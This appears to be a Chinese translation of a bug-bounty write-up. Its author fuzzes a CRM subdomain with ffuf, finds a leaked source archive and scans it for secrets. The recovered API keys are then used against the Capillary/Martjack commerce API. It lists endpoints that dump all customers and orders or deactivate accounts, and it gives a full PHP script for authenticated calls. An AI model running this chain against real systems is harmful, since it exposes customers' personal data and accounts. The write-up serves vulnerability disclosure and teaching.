我如何通过源代码泄漏访问许多PII

我如何通过源代码泄漏访问许多PII

PII是什么

Personal Identifiable Information (PII)–个人身份信息.

个人身份信息 (PII) 定义为:

允许通过直接或间接方式合理推断出信息适用的个人身份的任何信息。
此外,PII 被定义为:
(i) 直接识别个人身份的信息(例如姓名、地址、社会安全号码或其他识别号码或代码、电话号码、电子邮件地址等)或
(ii)旨在结合其他数据元素识别特定个人,即间接识别。(这些数据元素可能包括性别、种族、出生日期、地理指标和其他描述符的组合)。
此外,允许与特定个人进行物理或在线联系的信息与个人身份信息相同。这些信息可以保存在任一文件中,

侦察期间

借助浏览器插件Wappalyzer来对网站使用的技术进行侦察.

Wappalyzer是什么:

找出任何网站的技术堆栈的一个浏览器插件。
创建使用某些技术的网站列表,包括公司和联系方式。
使用我们的工具进行潜在客户生成、市场分析和竞争对手研究。

我如何通过源代码泄漏访问许多PII

Wappalyzer特色

我如何通过源代码泄漏访问许多PII

网站分析:
找出网站是用什么构建的。
领先一代:
通过他们使用的技术寻找潜在客户。
市场调查:
比较市场份额和技术趋势。
竞争对手分析:
发现谁在使用竞争对手的软件。
数据丰富:
技术、公司和联系信息。
自定义报告:
创建网站和联系人列表。
网站监控:
监控网站技术变化。
浏览器扩展:
查看您访问的网站上的技术。
客户关系管理整合:
查看潜在客户的技术。
电子邮件验证:
提高递送和邮寄名单的质量。
接口访问:
即时和实时技术查找。
安全侦察:
显示网络技术和版本号

Wappalyzer官网地址:

https://www.wappalyzer.com/

Google浏览器Wappalyzer插件下载地址:

网址:chrome.google.com/webstore/detail/wappalyzer/..

我如何通过源代码泄漏访问许多PII

火狐浏览器Wappalyzer插件下载地址:

网址: https://addons.mozilla.org/fr/firefox/addon/wappalyzer/

我如何通过源代码泄漏访问许多PII

这一切都始于一个新的子域弹出的 Slack 通知。

我如何通过源代码泄漏访问许多PII

浏览它并感谢Wappalyzer,我很快确定了该站点的技术:PHP、Apache2 和可能的 MySQL 数据库。一个经典的网络堆栈!

内容发现

使用ffuf和我的自定义词表,我决定进行一些内容发现,以寻找有用的文件和隐藏的目录。

ffuf介绍

ffuf是一个模糊测试工具,用来寻找各类服务器文件或模糊测试漏洞.

我如何通过源代码泄漏访问许多PII

ffuf 允许通过其-e标志模糊测试特定的扩展名。无需将它们全部(asp、aspx、jsp 等)都放在一起,因为我们的应用程序是用 PHP 编写的。

ffuf -mc all -c -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:72.0) Gecko/20100101 Firefox/72.0" -u "https://crm.mytarget.com/FUZZ" -w ./my/wordlist -D -e js,php,bak,txt,html,zip,sql,old,gz,log,swp,yaml,yml,config,save,rsa,ppk -ac

几分钟后,我发现了一个非常有用的结果:

我如何通过源代码泄漏访问许多PII

看 zip 的大小……是时候下载和分析了!

分析时间

解压我们的dev.zip后,发现不少于14000个目录和65000个文件。只是这个 !

作为一个懒惰的系统管理员,手动搜索每个文件以查找“可疑”信息是不可能的。
在自动化之前,我需要知道我想要寻找什么:

  • 硬编码凭据
  • API 密钥、令牌
  • 任何其他可能增加影响的必要信息

我选择了两个工具来完成这些任务:DumpsterDiver 和 EarlyBird。

DumpsterDiver-垃圾箱潜水员

我如何通过源代码泄漏访问许多PII

DumpsterDiver 简介

DumpsterDiver 是一种工具,它可以分析大量数据以搜索诸如密钥(例如 AWS 访问密钥、Azure 共享密钥或 SSH 密钥)或密码之类的硬编码秘密。此外,它还允许创建具有基本条件的简单搜索规则(例如,仅报告包含至少 10 个电子邮件地址的 csv 文件)。该工具的主要思想是检测任何潜在的秘密泄漏。您可以在演示视频中观看它的运行情况,或者在本文中阅读它的所有功能。

我如何通过源代码泄漏访问许多PII

DumpsterDiver是一个用 Python 编写的出色工具,它使我们能够分析大量数据以搜索秘密、API 密钥和其他“可能”的泄漏。根据您的需要,它具有数量惊人的功能和自定义功能。就我而言,我没有时间在文档上花 3 个小时,这是赏金热,所以让我们简单点。

DumpsterDiver安装方法

git clone https://github.com/securing/DumpsterDiver.git
cd DumpsterDiver && pip3 install -r requirements.txt

启动 DumpsterDiver

python3 DumpsterDiver.py -p /my/directory/dev --exclude-files .png .jpeg .jpg >> ./dumpsterdiver-output.txt

经过几个小时的扫描(我清理了输出):

[...]

FOUND HIGH ENTROPY!!!
The following string: <API_KEY> has been found in /my/directory/dev/anotherdirectory/class/fixtures.sql

FOUND HIGH ENTROPY!!!
The following string: <TOKEN> has been found in /my/directory/dev/anotherdirectory/class/fixtures.sql

[...]

EarlyBird-早起的鸟儿

我如何通过源代码泄漏访问许多PII

EarlyBird是另一个用 Go 编写的很棒的工具,值得一提。正如他们的页面所示,“ EarlyBird 是一种敏感数据检测工具,能够扫描源代码存储库中是否存在明文密码泄露、PII、过时的加密方法、密钥文件等。它可用于扫描远程 git 存储库、本地文件或目录或作为预提交步骤。

要安装它,再简单不过了。

git clone https://github.com/americanexpress/earlybird.git
cd early bird && ./build.sh && ./install.sh

然后在/usr/local/bin 中生成二进制文件。

which go-earlybird
/usr/local/bin/go-earlybird

就我而言,EarlyBird 将用于检测源代码中潜在的硬编码密码。我只会为此加载一个模块:

go-earlybird --path=/my/directory/dev -enable password-secret | tee earlybird-output.txt
我如何通过源代码泄漏访问许多PII

人工分析

在扫描运行时,我能够对应用程序进行手动分析,以了解有关此 Web 应用程序的更多信息。

DumpsterDiver 和 EarlyBird 扫描完成后,还必须连接结果并整理出任何误报。

经过几个小时的工作,这是我所拥有的:

  • 该 Web 应用程序基于客户关系管理软件 SugarCRM。
  • 我有一个上传文件夹,其中包含各种产品照片、客户发票、交货单、发货单等。
  • 我有 SQL 数据库的凭据
  • 我有后台访问的管理员凭据
  • 我拥有许多 API 密钥、秘密、令牌(剧透:我们将在本文的其余部分使用它们)

所以我拥有一个不错的P1,但为什么要停在那里呢?

使用 API

有效性

通过手动分析该应用程序,我意识到 SugarCRM 及其周围的一切(库存管理、商店、客户、订单等)都与 Capillary Anywhere Commerce 的 API 相关联,由 Capillary Technologies 提供,该公司发布了自己…… SugarCRM。

要使用有问题的 API,您需要三件事:

  • 商户编号
  • 公钥
  • 秘密

按照官方文档,您可以通过以下调用测试公钥的有效性:

curl https://www.martjack.com/developerapi/OAuth/Token/<PUBLIC_KEY>

如果返回 JWT,则密钥有效。

头缓存

我的凭据是有效的,是的。

但这就是问题开始的地方……除了上面看到的 API 调用,我无法与 API 进行交互,尽管被问到了所有问题

我找不到任何向服务器进行身份验证的方法:我得到的只是 401 Unauthorized

  • 使用 curl 手动传递标题
  • 使用Postman
  • 分析源代码和API调用硬编码,但我在PHP中的nulity很快就赶上了我(没有判断力:我可以让一个phpinfo出现)

合作共赢

我让几天过去了,看看我在重新阅读 API 文档时是否有任何其他想法。

而且……我还是被卡住了。

决心不放弃,我需要比我更好的人的帮助。了解他的黑客技能,并且之前已经与他讨论过一个私人 H1 项目,我联系了Shubs

在交流了我的问题并进行了一些源代码分析之后,几个小时后,他生成了一个能够与毛细管 API 通信的 PHP 脚本。虽然我花了几天时间…… 协作是关键,对吧?

PII时间

现在我们可以以经过身份验证的方式与 API 交互,我们可以点击它们来检索机密信息。

无需一一列举,只有一些是我们感兴趣的。

检索所有客户的列表

https://www.martjack.com/DeveloperAPI/Customer/<MERCHANT_ID>/All

有关特定客户的详细信息

https://www.martjack.com/developerapi/Customer/<MERCHANT_ID>/<CUSTOMER_ID>

我们还可以:

获取订单历史

https://www.martjack.com/developerapi/Order/History/<MERCHANT_ID>/

获取店铺信息

https://www.martjack.com/developerapi/Store/Information/<MERCHANT_ID>/

禁用用户帐户

https://www.martjack.com/developerapi/Customer/DeActivation/<MERCHANT_ID>/<USER_ID>

还有很多 …

所有这些都让我能够证明影响并恢复 PII,这是我通过玩 API 想要的

对于那些感兴趣的人,可以在此处找到用于与 API 交互的脚本。输出是 XML 格式,然后必须对其进行解析(例如grep -oPm1 “(?<=ValueYouWanted>)[^<]+”

与 API 交互的脚本源码:

<?php

// Author : Shubs (@infosec_au)
// Edited by Supras to make it public + clear some parts
// Requirement : php, php-curl, php-xml
// $ php api_capillary_ecom.php
// the XML response is printed out to console

// APIs URL
// See : https://capillary.github.io/ecom-api-document/
$orderURL = 'https://www.martjack.com/developerapi/Customer/MERCHANT_ID/All'; // Don't forget to edit MERCHANT_ID value

// Don't forget to edit PUBLIC_KEY, SECRET values
$auth = new ReturnAuth(array('key' => 'PUBLIC_KEY', 'secret' => 'SECRET', 'url' => $orderURL)); // Don't forget to edit PUBLIC_KEY, SECRET values
$result = $auth->getRequestToken();
echo($result);

class ReturnAuth {
    var $key = 'PUBLIC_KEY'; // Don't forget to edit PUBLIC_KEY value
    var $secret = 'SECRET'; // Don't forget to edit SECRET value
    function __construct($config) {
        $this->key = 'PUBLIC_KEY'; // Don't forget to edit PUBLIC_KEY value
        $this->secret = 'SECRET'; // Don't forget to edit SECRET value
        $this->request_token = $config['url']; // secret from MJ
        
    }
    function getRequestToken() {
        // Default params
        $params = array("oauth_version" => "1.0", "oauth_nonce" => time(), "oauth_timestamp" => time(), "oauth_consumer_key" => $this->key, "oauth_signature_method" => "HMAC-SHA1");
        // BUILD SIGNATURE
        // encode params keys, values, join and then sort.
        $keys = $this->_urlencode_rfc3986(array_keys($params));
        $values = $this->_urlencode_rfc3986(array_values($params));
        $params = array_combine($keys, $values);
        uksort($params, 'strcmp');
        // convert params to string
        foreach ($params as $k => $v) {
            $pairs[] = $this->_urlencode_rfc3986($k) . '=' . $this->_urlencode_rfc3986($v);
        }
        $concatenatedParams = implode('&', $pairs);
        // form base string (first key)
        $baseString = "GET&" . $this->_urlencode_rfc3986($this->request_token) . "&" . $this->_urlencode_rfc3986($concatenatedParams);
        //~ $GLOBALS['log']->fatal("Base String " . $baseString);
        // form secret (second key)
        $secret = $this->_urlencode_rfc3986($this->secret) . "&";
        // make signature and append to params
        $params['oauth_signature'] = $this->_urlencode_rfc3986(base64_encode(hash_hmac('sha1', $baseString, $secret, TRUE)));
        // BUILD URL
        // Resort
        uksort($params, 'strcmp');
        // convert params to string
        foreach ($params as $k => $v) {
            $urlPairs[] = $k . "=" . $v;
        }
        $concatenatedUrlParams = implode('&', $urlPairs);
        // form url
        $url = $this->request_token . "?" . $concatenatedUrlParams;
        // Send to cURL
        //~ $GLOBALS['log']->fatal("print url to log");
        //~ $GLOBALS['log']->fatal($url);
        return $this->_http($url);
    }
    function _http($url, $post_data = null) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 100);
        curl_setopt($ch, CURLOPT_TIMEOUT, 100);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
        if (isset($post_data)) {
            curl_setopt($ch, CURLOPT_POST, 1);
            curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
        }
        curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/Json', 'Connection: Keep-Alive', 'apiversion: 3'));
        $response = curl_exec($ch);
        //~ $GLOBALS['log']->fatal($response);
        //~ $GLOBALS['log']->fatal(print_r($response,true));
        $this->http_status = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        $this->last_api_call = $url;
        curl_close($ch);
        echo($response);
        $xml = simplexml_load_string($response);
        $json = json_encode($xml);
        $array = json_decode($json, TRUE);
        return $array;
    }
    function _urlencode_rfc3986($input) {
        if (is_array($input)) {
            return array_map(array('ReturnAuth', '_urlencode_rfc3986'), $input);
        } else if (is_scalar($input)) {
            return str_replace('+', ' ', str_replace('%7E', '~', rawurlencode($input)));
        } else {
            return '';
        }
    }
}

总结

尽管我在研究它时发誓很多,但这是一个非常酷的漏洞可以利用。感谢Shubs的合作和Hisxo在发表前阅读文章!

转载请注明出处及链接

Leave a Reply

您的电子邮箱地址不会被公开。 必填项已用 * 标注